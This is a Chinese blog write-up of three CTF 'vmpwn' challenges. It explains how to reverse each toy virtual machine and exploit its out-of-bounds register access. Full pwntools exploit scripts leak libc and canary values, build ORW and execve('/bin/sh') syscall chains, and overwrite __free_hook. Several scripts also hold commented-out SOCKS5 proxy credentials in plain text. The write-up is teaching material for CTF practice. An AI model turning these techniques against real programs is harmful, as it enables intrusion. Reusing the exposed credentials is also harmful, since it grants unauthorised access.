首页 > 基础资料 博客日记

简单vmpwn的思路

2026-06-01 10:00:02基础资料围观2

本篇文章分享简单vmpwn的思路,对你有帮助的话记得收藏一下,看极客资料网收获更多编程知识

前言

vmpwn简单来说就是程序通过一些方式模拟虚拟机的运行,我们则通过输入对应的指令让程序指向对应操作。最终目的当然是getshell或者获取flag。vmpwn相比原来的pwn多了挺多逆向上的难度,主要要看懂程序各个部分在干嘛。看懂了之后就比较简单了。本文应该会分享一下我个人的思路,题比较简单。

思路

总体上的思路就是我们输入各种opcode让程序进行数值上的操作,跟堆题比较像,对数值进行操作来控制程序流。漏洞通常是越界写。难点主要在理解程序逻辑上。下面我们看例题

ISCTF2025——myvm

开了沙盒,禁了execve,开了canary与pie。接下来放ida看看

7{1Q)JCXPU8_$%QMYX9

如果是第一次写vmpwn看见这个就有点懵了,我个人观点是抓住我们的输入,跟着我们的输入走,看的会清晰一点。我们的输入第一次在scanf,输入进v7了,然后进了一个函数,我们进去看看
{ZG7_0L74YMUN66FWV7

我们的输入在形参a1上,a1给了v2,指向v2的指针是v3,v4是malloc的堆上,v4指向我们输入的指针。这里主要看上面的声明,这两个指针都是指向char类型的,*之后都只有一个字符。也就是这里把我们输入分成了4个部分,比如0x12345678。0x78就在 *v4的地方
*(v4+1)就是0x56后面以此类推。这些有什么用我们得看后面了。最后返回值是v4。
JGHTM{NQG}PINNY9P%Z}NDT

这里reg是在bss段上的数组,类型是long。首先这个数组是有符号的,然后这个数组是8字节大小,也就说明一个数组成员可以放下一个完整的指针。接下来看我们输入,这里的ptr就是我们刚才的v4,直接v4决定了我们虚拟机接下来的操作,操作就是下面的+- * / >> << ^已经后面的。接下来的(v4+1)可以看见都在表达式左边,也就是显然就是赋值的目标地址。后面ptr+2,ptr+3就是这写表达式的左右值。

后面这里的v9是在栈上的,而且这个赋值是v3=v6++ v4=v6--。这里是先赋值再自增/自减,也就有了栈溢出与泄露。这里的操作其实就是pop与push。即把栈上数据赋给bss段上,把bss段上数据写入栈。

至此我们的逆向也就完成了。在我们exp上可以定义这个函数

def code(choice,tar,a,s):
    pay=choice+(tar<<8)+(a<<16)+(s<<24)
    sl(str(pay))

这里我们可以看看汇编

.text:0000000000000D02                 mov     rax, [rbp+ptr]  ; jumptable 0000000000000D00 case 0
.text:0000000000000D09                 movzx   eax, word ptr [rax+4]
.text:0000000000000D0D                 cwde
.text:0000000000000D0E                 cdqe

这里如果我们输入\xfc就会变成补码形式,因为符号位拓展了。这样就可以数组越界访问了。reg数组在bss段上,通过负索引可以访问got表,有了got表就有libc基地址了,有了libc就可以打ret2syscall的ORW了。通过pop与push操作可以泄露canary与程序基地址。这里关键是open的./flag字符串怎么写。要么我们通过reg的加减操作写出来./flag的ascii码(注意小端序)然后通过程序基地址+偏移找出来存放这个字符串的地址。要么我们就调用read往bss段上写一个./flag。我采用的是第二种。

这题因为我们不能在bss段上输入数据,所以需要定义一个能生成任意数字的代码,我这里个人选择的是逐位累加可能比较慢。各位可以优化一下。总体思路就是负索引泄露libc,push与pop泄露canary与程序基地址,赋给返回地址打ret2syscall的ORW。exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 1
if flag:
    p = remote('challenge.imxbt.cn',30873)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def code(choice,tar,a,s):
    pay=choice+(tar<<8)+(a<<16)+(s<<24)
    sl(str(pay))
code(3,0,0xfc,0xfc)#tar:0x21b780
code(0,1,0,0)#2
code(2,2,1,1)#4
code(2,3,2,2)#0x10
code(4,4,0,3)#0x10000
code(4,7,4,2)#0x100000
code(5,5,4,2)#0x1000
code(5,6,5,2)#0x100
def add(addr,a,b):
    code(0,addr,a,b)
def sub(addr,a,b):
    code(1,addr,a,b)
def mul(addr,a,b):
    code(2,addr,a,b)
def dev(addr,a,b):
    code(3,addr,a,b)
def shl(addr,a,b):
    code(4,addr,a,b)
def shr(addr,a,b):
    code(5,addr,a,b)
def pop(addr):
    pay=(addr<<8)+7
    sl(str(pay))
def push(addr):
    pay=(addr<<8)+8
    sl(str(pay))
def num(addr,tar):
    a=tar&0xf
    b=(tar>>4)&0xf
    c=(tar>>8)&0xf
    d=(tar>>12)&0xf
    e=(tar>>16)&0xf
    f=(tar>>20)&0xf
    for i in range(a):
        add(10,10,0)#0xf
    for g in range(b):
        add(11,11,3)#0xff
    for h in range(c):
        add(12,12,6)#0xfff
    for k in range(d):
        add(13,13,5)#0xffff
    for p in range(e):
        add(14,14,4)#0xfffff
    for l in range(f):
        add(15,15,7)#0xffffff
    add(11,10,11)
    add(12,11,12)
    add(13,12,13)
    add(14,13,14)
    add(addr,14,15)
    sub(10,10,10)
    sub(11,11,11)
    sub(12,12,12)
    sub(13,13,13)
    sub(14,14,14)
    sub(15,15,15)
num(16,0x21b780)
sub(16,0xf8,16)
rax=0x45eb0
rdi=0x2a3e5
rsi=0x2be51
rdb=0x11f2e7
end=0x91316
num(17,rax)
add(17,17,16)
num(18,rdi)
add(18,18,16)
num(19,rsi)
add(19,19,16)
num(20,rdb)
add(20,20,16)
num(21,end)
add(21,21,16)
for m in range(0x201):
    pop(22)
push(22)
pop(22)
pop(22)
pop(22)
pop(22)
pop(22)
push(25)
push(22)
num(29,0xc6c)
sub(25,25,29)
num(29,0x202470)
add(25,25,29)
num(30,0x338)
sub(26,25,30)
num(23,0x6761)
num(24,0x6c66)
num(27,0x2f2e)
shl(23,23,3)
shl(23,23,3)
shl(24,24,3)
add(23,23,24)
add(27,27,23)
add(24,0,1)#3
pop(17)
pop(1)
pop(18)
pop(26)
pop(19)
pop(36)
pop(21)
pop(17)
pop(36)
pop(18)
pop(24)
pop(19)
pop(25)
pop(20)
pop(6)
pop(6)
pop(21)
pop(17)
pop(0)
pop(18)
pop(0)
pop(19)
pop(25)
pop(20)
pop(6)
pop(6)
pop(21)
slr(9)
ti()

下面我们看第二个例题

BUUCTF——[OGeek2019 Final]OVM

这题逆向上复杂一点,但是攻击更简单了,各位可以看看gets师傅的讲解视频,保护没怎么开,glibc是2.23
IZ$U$A_J8O`J}}$20WD7K

这题开始先申请了一个堆块,后面读入两个数字,第一个是索引,第二个是bss段上另一个数组,后面输入的是opencode的数量,这里注意他是把这个数量放进循环里了,我们输入的opencode数量要等于这个循环数。,后面read往堆块里写值,最后这个sendcomment用free释放了这个堆块。这里就有点奇怪了,好端端的虚拟机要这个操作干什么呢?我们进去看虚拟机的主逻辑。

ssize_t __fastcall execute(int getcode)
{
  ssize_t code; // rax
  unsigned __int8 right; // [rsp+18h] [rbp-8h]
  unsigned __int8 left; // [rsp+19h] [rbp-7h]
  unsigned __int8 target; // [rsp+1Ah] [rbp-6h]
  int n15; // [rsp+1Ch] [rbp-4h]

  target = (getcode & 0xF0000u) >> 16;
  left = (getcode & 0xF00) >> 8;
  right = getcode & 0xF;
  code = HIBYTE(getcode);//>>24
  if ( HIBYTE(getcode) == 0x70 )
  {
    code = reg;
    reg[target] = reg[right] + reg[left];
    return code;
  }
  if ( HIBYTE(getcode) > 0x70u )
  {
    if ( HIBYTE(getcode) == 0xB0 )
    {
      code = reg;
      reg[target] = reg[right] ^ reg[left];
      return code;
    }
    if ( HIBYTE(getcode) > 0xB0u )
    {
      if ( HIBYTE(getcode) == 0xD0 )
      {
        code = reg;
        reg[target] = reg[left] >> reg[right];
        return code;
      }
      if ( HIBYTE(getcode) > 0xD0u )
      {
        if ( HIBYTE(getcode) == 0xE0 )
        {
          running = 0;
          if ( !stackcount )
            return write(1, "EXIT\n", 5u);
        }
        else if ( HIBYTE(getcode) != 0xFF )
        {
          return code;
        }
        running = 0;
        for ( n15 = 0; n15 <= 15; ++n15 )
          printf("R%d: %X\n", n15, reg[n15]);
        return write(1, "HALT\n", 5u);
      }
      else if ( HIBYTE(getcode) == 0xC0 )
      {
        code = reg;
        reg[target] = reg[left] << reg[right];
      }
    }
    else
    {
      switch ( HIBYTE(getcode) )
      {
        case 0x90u:
          code = reg;
          reg[target] = reg[right] & reg[left];
          break;
        case 0xA0u:
          code = reg;
          reg[target] = reg[right] | reg[left];
          break;
        case 0x80u:
          code = reg;
          reg[target] = reg[left] - reg[right];
          break;
      }
    }
  }
  else if ( HIBYTE(getcode) == 0x30 )
  {
    code = reg;
    reg[target] = memory[reg[right]];           // 数组越界
  }
  else if ( HIBYTE(getcode) > 0x30u )
  {
    switch ( HIBYTE(getcode) )
    {
      case 0x50u:
        LODWORD(code) = stackcount++;
        code = code;
        stack[code] = reg[target];
        break;
      case 0x60u:
        --stackcount;
        code = reg;
        reg[target] = stack[stackcount];
        break;
      case 0x40u:
        code = memory;
        memory[reg[right]] = reg[target];       // 数组越界
        break;
    }
  }
  else if ( HIBYTE(getcode) == 0x10 )
  {
    code = reg;
    reg[target] = getcode;
  }
  else if ( HIBYTE(getcode) == 0x20 )
  {
    code = reg;
    reg[target] = getcode == 0;
  }
  return code;
}

这里我已经逆好了,各位可以试着自己逆一下,最后def的时候是这样的。

def code(target,left,right,opcode):
    pay=(left<<8)+right+(target<<16)+(opcode<<24)
    sl(str(pay))

后续整体上跟上一题差别注意在中国memory和reg是int类型数组,他是4字节的。一个数组成员是放不下一个完整指针的。这题因为有show,然后上面也说了,read可以往一个堆块写数据,最后会free这个堆块。我们先用负索引数组越界泄露libc。把原本是堆块的地址改成freehook-8的地址,往其中写入/bin/sh字符串,freehook的地址写入system的地址。这样我们就会free掉freehook-8。因为free时先看freehook里有没有值,所以他不会触发free的检查,也就不会报错。需要注意的就是这题可以往bss里写我们输入的一字节还是挺好的。exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
'''
socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
)
socket.socket = socks.socksocket
'''
flag = 0
if flag:
    p = remote('node5.buuoj.cn',28571)
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def code(target,left,right,opcode):
    pay=(left<<8)+right+(target<<16)+(opcode<<24)
    sl(str(pay))
def add(target,left,right):
    code(target,left,right,0x70)
def sub(target,left,right):
    code(target,left,right,0x80)
def shr(target,left,right):
    code(target,left,right,0xd0)
def shl(target,left,right):
    code(target,left,right,0xc0)
def push(target,something):
    code(something,0,target,0x40)
def pop(target,something):
    code(target,0,something,0x30)
def setnum(target,number):
    code(target,0,number,0x10)
ru(b'PC:')#13
slr(0)
ru(b'SP:')
slr(30)
ru(b'CODE SIZE:')
slr(21)#25
ru(b"CODE: ")
setnum(0,0x38)
setnum(1,1)
sub(2,2,0)
pop(4,2)#low

add(2,2,1)
pop(5,2)#high libc 5-->start
setnum(0,8)
sub(6,8,0)

setnum(0,4)
add(9,0,9)#4
sub(13,13,13)
#11
#target --> 0x1098
setnum(12,0x10)
setnum(0,8)
shl(12,12,0)
setnum(0,0x90)
add(10,12,0)
add(4,10,4)
push(6,4)
setnum(0,1)
add(6,6,0)
push(6,5)
ru(b'R4: ')
a=rcl().strip()
ru(b'R5: ')
b=rcl().strip()
c=b+a
libcbase=i6(c)+8-libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
ph(libcbase)
pay=b'/bin/sh\x00'+p64(sy)
sd(pay)
ti()

我exp里的push与pop是其实更像mov,本题不能往栈上写值。

VNCTF2026——vm_syscall

这题更难逆向了,逆向完也很简单,这题开了pie。这里可以看出题人的讲解视频,我主要也是分享一下个人逆向思路。先看看main的逻辑。
70M_~XU`%U9VUR20PBO0

这里可以看见先申请了一个堆块,然后mmap申请了一段内存,内存放在ptr内,最后我们往内存里写东西。继续看
VL{LHPN@05IHFWSA4BNGP3

这里应该是程序的主逻辑,可以这里这个*(ptr+2)应该是某个东西,我们按顺序看看下面的函数
6KV%_}XVQ)0%I$XSSWHSS1W

这里我先隐藏类型了,不然看不清楚,这里如果没隐藏类型可以明显的看见返回值是一字节,这里明显是读取了一个opencode,这里可以看见* (ptr+2)应该是索引,因为我们输入的是一大堆数据,并没有像前两题一样分批输入,所以有索引也是正常。这里我们重命名一下这个函数(ida里对着这个名字按n)。目前我们已知的ptr相关的结构有两个,第一个是*ptr是我们的内存,第二个是 *(ptr+2)这个应该是索引,我们这里可以还原一下结构体,shift+f1打开结构体窗口,右键创建结构体。结构体第一个成员应该是char *类型。第二个应该是int类型的索引。我们继续往下逆。
9J3~9C(SE7`Q8S07CZ%1K

到这里就有点吓人了,我们一个个看,第一个a1是形参,也就是我们第一个读取的opencode,如果我们输入的第一次code是1他就会在prt[12]与ptr[13]的位置再读一个code,然后检查一下是不是大于3。这里感觉也有点像什么索引。
SH7OFNSF}I`_NV@NHQ}$0

当我们输入的第一次code是2的时候前面一个循环还是在prt[12]与ptr[13]的位置分别读一个code(这个code不能大于4),然后他又读一个code作为下一个循环的标志。下一个循环明显就是在ptr+8的位置一直读数据,比如第一次读入的code是1。一进循环原来ptr+8肯定是0,左移也是0,再或一下那就获得了我们的code1,然后第二次循环先左移就变成了0x100,再或一下读取的code比如0x20,那么ptr+8就变成了0x120。综上我们就可以看出来这应该是一个输入数字的方法。

当我们输入的第一次code是3的话就会在ptr[12],ptr[13],ptr[14]的地方分别读一个code(code不能大于3),有什么用目前不知道。如果不是1,2,3的话就会直接退出,至此这个函数我们就逆向完了,目前还是不太清楚这个程序在干嘛。
Y(F9CLITL{0K)(GXIDEC

这里case1,2,3进去都可以看见是寄存器相关操作,但其实我们可以看出来都是没有往栈上写数据的操作的,因为他都是bss段上的*(ptr+一个值),没有涉及栈上的内容,光考这些加减肯定是不能劫持程序控制流的。我们可以看看case4,这里传了个ptr+0x10进去
41OT1A_7)HQ8GPTAW1_$1KA

可以看见应该是汇编,我们按tab切汇编看看
5K7{UEUYY)QRKYD$PB6@6M

这里我们只知道rdi是我们传进去的参数,经过一系列操作把rdi的值赋给了rbx。这里把rbx,rbx+8,rbx+0x10,rbx+0x18赋给了rax,rdi,rsi,rdx寄存器,而且后面还要syscall。这里如果我们值设置的好就可以执行任意系统调用。而且最后还把rax的返回值写会了rbx内(就是rbx将会赋给rax的位置)也就是得到了返回值。

至此我们就知道ptr相关的结构了,*ptr是写入opencode的地址, *((unsigned int *)ptr+2)是索引,其实在内存上也就是ptr+8。

*((_DWORD)ptr+12)是一个小于3的值, *(( _DWORD)ptr+13)也是一个小于3的值, *(( _DWORD)ptr+14)也是一个小于3的值(当读入这个地方的code也可以是设置数字的次数)。 *((char *)ptr+0x10)后面是三个寄存器。这样我们就可以修复一下ptr这个结构体

struct node
{
  char *opcodeaddr;
  unsigned int index;
  __int64 reg[4];
  unsigned int choice1;
  unsigned int choice2;
  int choice3;
  unsigned int k1;
  unsigned int number;
};

然后我们在ida里对着这个ptr按y修改声明,再按f5刷新。就可以看见这样的
VK2)U19@1IISBGS1W)XP%T

接下来我们再看主循环里的case1,2,3就很简单了
0WM61WN)U9@M}SJ5YK4{E0

case1是这样。不用解释吧...choice2因为小于3,所以他的值决定将来赋给哪个寄存器比如0赋给rax(rbx),1赋给rdi(rbx+8)...我们继续看case2
I{OZ0R(GO$2OP0)X0}%3I1

这里也是一样,各种操作。这个::是取全局变量的意思,然后*$一起写其实没任何意义,直接不用看。这里就是要注意一下后面ida识别有点问题
5DGN9(H9{AEAH_BHZTK94

这里看似跟我们的reg没关系,其实是有的,可以看见opcodeaddr是指向8字节的指针,他+2就是我们寄存器的地址,剩下的choice1其实就是我们寄存器的索引。其实他就是::ptr->reg[::ptr->choice1]。我们继续看case3

W$_1AZE)I5WY3U14C%7ZS

就是各寄存器进行各种计算。

最后总结一下逻辑。首先写入opencode,opencode跟之前的不太一样,是一字节一字节读的。

如果第一个是1,那就往后再读两个字节,每个字节的ascii码值小于3,在主循环里会选择将要赋给对应寄存器的值进行赋值与xchg操作。

如果第一个是2,就先往后读两个字节选择两个将要赋给对应两个寄存器的值,然后再读一个字节决定后续读入的次数(次数要小于4)。最后会形成一个数字,比如读两次,先后读入的是0x12与0x13,那么设置出的数字就是0x1213。然后在主循环里会进case2让将要赋给对应寄存器的值与设置的数字进行各种运算。

如果第第一个是3,就往后读3个字节,在主循环里进case3,让三个将要赋给对应寄存器的值进行各种运算操作。

如果第一个是4就不会读取数据,直接把将要赋给对应寄存器的值赋给对应寄存器并syscall。

整体逻辑就是如此,接下来就是如何getshell了。这里因为开了pie,我们是没有存储binsh的地方的。因为没有show。但是syscall有返回值,这里我的解法是跟之前isctf2024那题一样,用brk系统调用。因为他这里一开始申请了一个堆块,我们可以用brk尝试扩展这个堆,这样他就会返回原来堆块的结束位置,我们随便输个大小,哪怕他扩展失败也会返回原理堆块的结束位置。只是我们不能直接往那个堆块的结束位置里写值,我们把得到的堆块的结束位置减一个大小就可以得到写binsh字符串的地址,后面调用read写binsh然后调用execve就可以getshell了。

预期解是用shmget与shmat,这个我就概括一下吧。shmget只在64位下有系统调用,系统调用号是29,主要用于创建/获取共享内存段的id,他需要三个参数,第一个是查找对应内存段所需的键值,第二个参数是大小,第三个参数是flag字段也就是内存段的权限(以八进制表示),但这里的权限不是我们文件里写的那种权限,更偏向文件本身的权限而不是内存,也就是设置成可执行但也不能往上写shellcode。一般设置成0x3b8也就是八进制的1666。这个1000是IPC_CREAT是假如没找到就创建一个共享内存段id。
写题时第一个键值可以随便取,第二个大小也可以,别太大就好,第三个推荐固定0x3b8。

shmat只有64位下才有系统调用,系统调用号是30,主要就是把获取到的id映射进内存中,得到真正可写的内存。第一个参数是共享内存段的id,第二个参数是想要映射的位置,我们可以设0让系统自己分配,最后一个是标志位,这个一般设置成0。

获得了可写binsh字符串的地址后面调用read写binsh然后调用execve就getshell了。这两种解法的exp如下:

brk的解法

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
#li='./libc.so.6'
'''
socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
)
socket.socket = socks.socksocket
'''
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def regfu(index1,index2):#reg2=reg1
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x20)
    return pay
def xchg(index1,index2):
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x30)
    return pay
def regshl(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x50)
    return pay
def regshr(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x60)
    return pay
def regad(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x10)
    return pay
def regsub(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x20)
    return pay
def setnum(target,left,long):#number
    pay=p8(2)+p8(target)+p8(left)+p8(long)
    return pay
'''
0x10: add/// 0x20: sub/// 0x50: shl///0x60:shr
    3       2    1
 0x10000 0x100 0x10
0-->rax 1-->rdi 2-->rsi 3-->rdx'''
pay=setnum(1,1,3)+p8(0x60)+p8(0)+p8(0)+p8(0x10)#600000
pay+=regfu(1,3)
#pay+=setnum(1,1,1)+p8(24)+p8(0x50)#rdi=0x600000000000
pay+=setnum(0,0,1)+p8(12)+p8(0x10)
pay+=p8(4)#brk(0x600000)
pay+=regfu(2,1)+xchg(0,2)
pay+=setnum(2,2,2)+p8(0x90)+p8(0)+p8(0x20)
pay+=p8(4)#read(0,$rax,0x600000)
pay+=regsub(0,0,0)+regsub(3,3,3)
pay+=setnum(0,0,1)+p8(0x3b)+p8(0x10)#rax=0x3b
pay+=xchg(1,2)#rdi-->addr-->binsh
pay+=p8(4)#execve("/bin/sh",0,0)
sd(pay)
pause()
sd(b'/bin/sh\x00')
ti()

shmget与shmat解法

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
#libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
#li='./libc.so.6'
'''
socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
)
socket.socket = socks.socksocket
'''
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def regmov(index2,index1):#reg2=reg1
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x20)
    return pay
def xchg(index1,index2):
    pay=p8(1)+p8(index1)+p8(index2)+p8(0x30)
    return pay
def regshl(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x50)
    return pay
def regshr(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x60)
    return pay
def regad(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x10)
    return pay
def regsub(target,left,right):
    pay=p8(3)+p8(target)+p8(left)+p8(right)+p8(0x20)
    return pay
def setnum(target,left,long):#number
    pay=p8(2)+p8(target)+p8(left)+p8(long)#after is number's size
    return pay
'''
0x10: add/// 0x20: sub/// 0x50: shl///0x60:shr
long:    3       2    1
      0x10000 0x100 0x10
reg:0-->rax 1-->rdi 2-->rsi 3-->rdx'''
pay=setnum(0,0,1)+p8(29)+p8(0x10)#rax=29
pay+=setnum(1,1,1)+p8(0x70)+p8(0x10)#rdi=0x70
pay+=setnum(2,2,1)+p8(0x80)+p8(0x10)#rdi=0x80
pay+=setnum(3,3,2)+p8(0x3)+p8(0xb6)+p8(0x10)#rdx=0x3b6
pay+=p8(4)#shmget(0x70,0x80,0x3b6)
pay+=xchg(0,1)+regsub(0,0,0)+regmov(2,0)+regmov(3,0)
pay+=setnum(0,0,1)+p8(30)+p8(0x10)
pay+=p8(4)#shmat($rax,0,0)
pay+=xchg(2,0)+regmov(1,3)
pay+=setnum(3,3,1)+p8(0xd0)+p8(0x10)
pay+=p8(4)#read
pay+=xchg(1,2)+regmov(3,2)+regsub(0,0,0)
pay+=setnum(0,0,1)+p8(0x3b)+p8(0x10)
pay+=p8(4)#execve
sd(pay)
pause()
sd(b'/bin/sh\x00')
ti()

总的来说逆向时快死了,逆向完直接爽。所以逆向是爽的(dui)


文章来源:https://www.cnblogs.com/firefly-star/p/20246408
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云